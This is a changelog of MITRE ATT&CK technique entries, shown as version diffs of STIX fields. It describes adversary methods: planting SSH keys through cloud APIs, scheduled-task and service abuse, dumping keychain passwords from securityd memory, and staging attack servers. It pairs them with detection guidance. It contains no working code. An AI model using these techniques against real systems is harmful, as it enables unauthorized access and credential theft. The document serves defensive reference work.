Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm)
Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. |
| external_references[1]['source_name'] | SSH Authorized Keys | Venafi SSH Key Abuse |
| external_references[1]['description'] | ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020. | Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020. |
| external_references[1]['url'] | https://www.ssh.com/ssh/authorized_keys/ | https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities |
| external_references[2]['source_name'] | Venafi SSH Key Abuse | Google Cloud Privilege Escalation |
| external_references[2]['description'] | Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020. | Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022. |
| external_references[2]['url'] | https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities | https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/ |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | File: File Modification |
| x_mitre_data_sources[2] | File monitoring | Command: Command Execution |
| x_mitre_detection | Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file.
Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. | Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.
Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Google Cloud Add Metadata', 'description': 'Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.', 'url': 'https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata'} | |
| external_references | {'source_name': 'Azure Update Virtual Machines', 'description': 'Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.', 'url': 'https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update'} | |
| external_references | {'source_name': 'SSH Authorized Keys', 'description': 'ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.', 'url': 'https://www.ssh.com/ssh/authorized_keys/'} | |
| x_mitre_contributors | Dror Alon, Palo Alto Networks | |
| x_mitre_contributors | Or Kliger, Palo Alto Networks | |
| x_mitre_platforms | IaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows Task Scheduler to perform | t | 1 | Adversaries may abuse the Windows Task Scheduler to perform |
| > | task scheduling for initial or recurring execution of malici | > | task scheduling for initial or recurring execution of malici | ||
| > | ous code. There are multiple ways to access the Task Schedul | > | ous code. There are multiple ways to access the Task Schedul | ||
| > | er in Windows. The <code>schtasks</code> can be run directly | > | er in Windows. The [schtasks](https://attack.mitre.org/softw | ||
| > | on the command line, or the Task Scheduler can be opened th | > | are/S0111) utility can be run directly on the command line, | ||
| > | rough the GUI within the Administrator Tools section of the | > | or the Task Scheduler can be opened through the GUI within t | ||
| > | Control Panel. In some cases, adversaries have used a .NET w | > | he Administrator Tools section of the Control Panel. In some | ||
| > | rapper for the Windows Task Scheduler, and alternatively, ad | > | cases, adversaries have used a .NET wrapper for the Windows | ||
| > | versaries have used the Windows netapi32 library to create a | > | Task Scheduler, and alternatively, adversaries have used th | ||
| > | scheduled task. The deprecated [at](https://attack.mitre.o | > | e Windows netapi32 library to create a scheduled task. The | ||
| > | rg/software/S0110) utility could also be abused by adversari | > | deprecated [at](https://attack.mitre.org/software/S0110) uti | ||
| > | es (ex: [At (Windows)](https://attack.mitre.org/techniques/T | > | lity could also be abused by adversaries (ex: [At](https://a | ||
| > | 1053/002)), though <code>at.exe</code> can not access tasks | > | ttack.mitre.org/techniques/T1053/002)), though <code>at.exe< | ||
| > | created with <code>schtasks</code> or the Control Panel. An | > | /code> can not access tasks created with <code>schtasks</cod | ||
| > | adversary may use Windows Task Scheduler to execute program | > | e> or the Control Panel. An adversary may use Windows Task | ||
| > | s at system startup or on a scheduled basis for persistence. | > | Scheduler to execute programs at system startup or on a sche | ||
| > | The Windows Task Scheduler can also be abused to conduct re | > | duled basis for persistence. The Windows Task Scheduler can | ||
| > | mote Execution as part of Lateral Movement and or to run a p | > | also be abused to conduct remote Execution as part of Latera | ||
| > | rocess under the context of a specified account (such as SYS | > | l Movement and/or to run a process under the context of a sp | ||
| > | TEM). | > | ecified account (such as SYSTEM). Similar to [System Binary | ||
| > | Proxy Execution](https://attack.mitre.org/techniques/T1218), | ||||
| > | adversaries have also abused the Windows Task Scheduler to | ||||
| > | potentially mask one-time execution under signed/trusted sys | ||||
| > | tem processes.(Citation: ProofPoint Serpent) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Andrew Northern, @ex_raritas', 'Bryan Campbell, @bry_campbell', 'Zachary Abzug, @ZackDoesML', 'Selena Larson, @selenalarson'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 13:45:03.730000+00:00 | 2022-04-14 20:59:17.110000+00:00 |
| description | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The schtasks can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At (Windows)](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account (such as SYSTEM). | Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.
The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though at.exe can not access tasks created with schtasks or the Control Panel.
An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent) |
| external_references[1]['source_name'] | Twitter Leoloobeek Scheduled Task | ProofPoint Serpent |
| external_references[1]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022. |
| external_references[1]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain |
| external_references[2]['source_name'] | TechNet Forum Scheduled Task Operational Setting | Twitter Leoloobeek Scheduled Task |
| external_references[2]['description'] | Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. |
| external_references[2]['url'] | https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen | https://twitter.com/leoloobeek/status/939248813465853953 |
| external_references[3]['source_name'] | TechNet Scheduled Task Events | Microsoft Scheduled Task Events Win10 |
| external_references[3]['description'] | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. |
| external_references[3]['url'] | https://technet.microsoft.com/library/dd315590.aspx | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events |
| external_references[4]['source_name'] | Microsoft Scheduled Task Events Win10 | TechNet Scheduled Task Events |
| external_references[4]['description'] | Microsoft. (2017, May 28). Audit Other Object Access Events. Retrieved June 27, 2019. | Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017. |
| external_references[4]['url'] | https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events | https://technet.microsoft.com/library/dd315590.aspx |
| x_mitre_data_sources[0] | File monitoring | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[2] | Process monitoring | Scheduled Job: Scheduled Job Creation |
| x_mitre_data_sources[3] | Windows event logs | File: File Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'TechNet Forum Scheduled Task Operational Setting', 'description': 'Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.', 'url': 'https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may obtain root access (allowing them to read s | t | 1 | An adversary may obtain root access (allowing them to read s |
| > | ecurityd’s memory), then they can scan through memory to fin | > | ecurityd’s memory), then they can scan through memory to fin | ||
| > | d the correct sequence of keys in relatively few tries to de | > | d the correct sequence of keys in relatively few tries to de | ||
| > | crypt the user’s logon keychain. This provides the adversary | > | crypt the user’s logon keychain. This provides the adversary | ||
| > | with all the plaintext passwords for users, WiFi, mail, bro | > | with all the plaintext passwords for users, WiFi, mail, bro | ||
| > | wsers, certificates, secure notes, etc.(Citation: OS X Keych | > | wsers, certificates, secure notes, etc.(Citation: OS X Keych | ||
| > | ain) (Citation: OSX Keydnap malware) In OS X prior to El Ca | > | ain)(Citation: OSX Keydnap malware) In OS X prior to El Cap | ||
| > | pitan, users with root access can read plaintext keychain pa | > | itan, users with root access can read plaintext keychain pas | ||
| > | sswords of logged-in users because Apple’s keychain implemen | > | swords of logged-in users because Apple’s keychain implement | ||
| > | tation allows these credentials to be cached so that users a | > | ation allows these credentials to be cached so that users ar | ||
| > | re not repeatedly prompted for passwords. (Citation: OS X Ke | > | e not repeatedly prompted for passwords.(Citation: OS X Keyc | ||
| > | ychain) (Citation: External to DA, the OS X Way) Apple’s sec | > | hain)(Citation: External to DA, the OS X Way) Apple’s securi | ||
| > | urityd utility takes the user’s logon password, encrypts it | > | tyd utility takes the user’s logon password, encrypts it wit | ||
| > | with PBKDF2, and stores this master key in memory. Apple als | > | h PBKDF2, and stores this master key in memory. Apple also u | ||
| > | o uses a set of keys and algorithms to encrypt the user’s pa | > | ses a set of keys and algorithms to encrypt the user’s passw | ||
| > | ssword, but once the master key is found, an attacker need o | > | ord, but once the master key is found, an adversary need onl | ||
| > | nly iterate over the other values to unlock the final passwo | > | y iterate over the other values to unlock the final password | ||
| > | rd.(Citation: OS X Keychain) | > | .(Citation: OS X Keychain) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-02-17 13:16:53.850000+00:00 | 2022-03-08 21:43:20.609000+00:00 |
| description | An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain) (Citation: OSX Keydnap malware) In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) | An adversary may obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware) In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain) |
| x_mitre_data_sources[0] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Access |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may compromise thi | t | 1 | Adversaries may compromise third-party servers that can be u |
| > | rd-party servers that can be used during targeting. Use of s | > | sed during targeting. Use of servers allows an adversary to | ||
| > | ervers allows an adversary to stage, launch, and execute an | > | stage, launch, and execute an operation. During post-comprom | ||
| > | operation. During post-compromise activity, adversaries may | > | ise activity, adversaries may utilize servers for various ta | ||
| > | utilize servers for various tasks, including for Command and | > | sks, including for Command and Control. Instead of purchasin | ||
| > | Control. Instead of purchasing a [Server](https://attack.mi | > | g a [Server](https://attack.mitre.org/techniques/T1583/004) | ||
| > | tre.org/techniques/T1583/004) or [Virtual Private Server](ht | > | or [Virtual Private Server](https://attack.mitre.org/techniq | ||
| > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | > | ues/T1583/003), adversaries may compromise third-party serve | ||
| > | y compromise third-party servers in support of operations. | > | rs in support of operations. Adversaries may also compromis | ||
| > | Adversaries may also compromise web servers to support water | > | e web servers to support watering hole operations, as in [Dr | ||
| > | ing hole operations, as in [Drive-by Compromise](https://att | > | ive-by Compromise](https://attack.mitre.org/techniques/T1189 | ||
| > | ack.mitre.org/techniques/T1189). | > | ). | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 19:48:07.710000+00:00 | 2021-10-17 16:00:16.273000+00:00 |
| description | Before compromising a victim, adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). | Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned software on a compromised server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may buy, lease, or | t | 1 | Adversaries may buy, lease, or rent physical servers that ca |
| > | rent physical servers that can be used during targeting. Us | > | n be used during targeting. Use of servers allows an adversa | ||
| > | e of servers allows an adversary to stage, launch, and execu | > | ry to stage, launch, and execute an operation. During post-c | ||
| > | te an operation. During post-compromise activity, adversarie | > | ompromise activity, adversaries may utilize servers for vari | ||
| > | s may utilize servers for various tasks, including for Comma | > | ous tasks, including for Command and Control. Instead of com | ||
| > | nd and Control. Instead of compromising a third-party [Serve | > | promising a third-party [Server](https://attack.mitre.org/te | ||
| > | r](https://attack.mitre.org/techniques/T1584/004) or renting | > | chniques/T1584/004) or renting a [Virtual Private Server](ht | ||
| > | a [Virtual Private Server](https://attack.mitre.org/techniq | > | tps://attack.mitre.org/techniques/T1583/003), adversaries ma | ||
| > | ues/T1583/003), adversaries may opt to configure and run the | > | y opt to configure and run their own servers in support of o | ||
| > | ir own servers in support of operations. Adversaries may on | > | perations. Adversaries may only need a lightweight setup if | ||
| > | ly need a lightweight setup if most of their activities will | > | most of their activities will take place using online infra | ||
| > | take place using online infrastructure. Or, they may need t | > | structure. Or, they may need to build extensive infrastructu | ||
| > | o build extensive infrastructure if they want to test, commu | > | re if they want to test, communicate, and control other aspe | ||
| > | nicate, and control other aspects of their activities on the | > | cts of their activities on their own systems.(Citation: NYTS | ||
| > | ir own systems.(Citation: NYTStuxnet) | > | tuxnet) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Internet Scan: Response Content', 'Internet Scan: Response Metadata'] | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-12 16:49:11.340000+00:00 | 2021-10-17 15:39:45.736000+00:00 |
| description | Before compromising a victim, adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) | Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet) |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. | Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'} | |
| external_references | {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'} | |
| external_references | {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'} |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the Windows service control manager to | t | 1 | Adversaries may abuse the Windows service control manager to |
| > | execute malicious commands or payloads. The Windows service | > | execute malicious commands or payloads. The Windows service | ||
| > | control manager (<code>services.exe</code>) is an interface | > | control manager (<code>services.exe</code>) is an interface | ||
| > | to manage and manipulate services.(Citation: Microsoft Serv | > | to manage and manipulate services.(Citation: Microsoft Serv | ||
| > | ice Control Manager) The service control manager is accessib | > | ice Control Manager) The service control manager is accessib | ||
| > | le to users via GUI components as well as system utilities s | > | le to users via GUI components as well as system utilities s | ||
| > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | > | uch as <code>sc.exe</code> and [Net](https://attack.mitre.or | ||
| > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | > | g/software/S0039). [PsExec](https://attack.mitre.org/softwa | ||
| > | re/S0029) can also be used to execute commands or payloads v | > | re/S0029) can also be used to execute commands or payloads v | ||
| > | ia a temporary Windows service created through the service c | > | ia a temporary Windows service created through the service c | ||
| > | ontrol manager API.(Citation: Russinovich Sysinternals) Adv | > | ontrol manager API.(Citation: Russinovich Sysinternals) Tool | ||
| > | ersaries may leverage these mechanisms to execute malicious | > | s such as [PsExec](https://attack.mitre.org/software/S0029) | ||
| > | content. This can be done by either executing a new or modif | > | and <code>sc.exe</code> can accept remote servers as argumen | ||
| > | ied service. This technique is the execution used in conjunc | > | ts and may be used to conduct remote execution. Adversaries | ||
| > | tion with [Windows Service](https://attack.mitre.org/techniq | > | may leverage these mechanisms to execute malicious content. | ||
| > | ues/T1543/003) during service persistence or privilege escal | > | This can be done by either executing a new or modified serv | ||
| > | ation. | > | ice. This technique is the execution used in conjunction wit | ||
| > | h [Windows Service](https://attack.mitre.org/techniques/T154 | ||||
| > | 3/003) during service persistence or privilege escalation. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-28 18:52:02.384000+00:00 | 2021-08-30 17:42:40.945000+00:00 |
| description | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals)
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. | Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (services.exe) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as sc.exe and [Net](https://attack.mitre.org/software/S0039).
[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and sc.exe can accept remote servers as arguments and may be used to conduct remote execution.
Adversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation. |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Service: Service Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Windows Registry: Windows Registry Key Modification |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may stop or disable services on a system to rend | t | 1 | Adversaries may stop or disable services on a system to rend |
| > | er those services unavailable to legitimate users. Stopping | > | er those services unavailable to legitimate users. Stopping | ||
| > | critical services can inhibit or stop response to an inciden | > | critical services or processes can inhibit or stop response | ||
| > | t or aid in the adversary's overall objectives to cause dama | > | to an incident or aid in the adversary's overall objectives | ||
| > | ge to the environment.(Citation: Talos Olympic Destroyer 201 | > | to cause damage to the environment.(Citation: Talos Olympic | ||
| > | 8)(Citation: Novetta Blockbuster) Adversaries may accompli | > | Destroyer 2018)(Citation: Novetta Blockbuster) Adversaries | ||
| > | sh this by disabling individual services of high importance | > | may accomplish this by disabling individual services of hig | ||
| > | to an organization, such as <code>MSExchangeIS</code>, which | > | h importance to an organization, such as <code>MSExchangeIS< | ||
| > | will make Exchange content inaccessible (Citation: Novetta | > | /code>, which will make Exchange content inaccessible (Citat | ||
| > | Blockbuster). In some cases, adversaries may stop or disable | > | ion: Novetta Blockbuster). In some cases, adversaries may st | ||
| > | many or all services to render systems unusable.(Citation: | > | op or disable many or all services to render systems unusabl | ||
| > | Talos Olympic Destroyer 2018) Services may not allow for mod | > | e.(Citation: Talos Olympic Destroyer 2018) Services or proce | ||
| > | ification of their data stores while running. Adversaries ma | > | sses may not allow for modification of their data stores whi | ||
| > | y stop services in order to conduct [Data Destruction](https | > | le running. Adversaries may stop services or processes in or | ||
| > | ://attack.mitre.org/techniques/T1485) or [Data Encrypted for | > | der to conduct [Data Destruction](https://attack.mitre.org/t | ||
| > | Impact](https://attack.mitre.org/techniques/T1486) on the d | > | echniques/T1485) or [Data Encrypted for Impact](https://atta | ||
| > | ata stores of services like Exchange and SQL Server.(Citatio | > | ck.mitre.org/techniques/T1486) on the data stores of service | ||
| > | n: SecureWorks WannaCry Analysis) | > | s like Exchange and SQL Server.(Citation: SecureWorks WannaC | ||
| > | ry Analysis) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
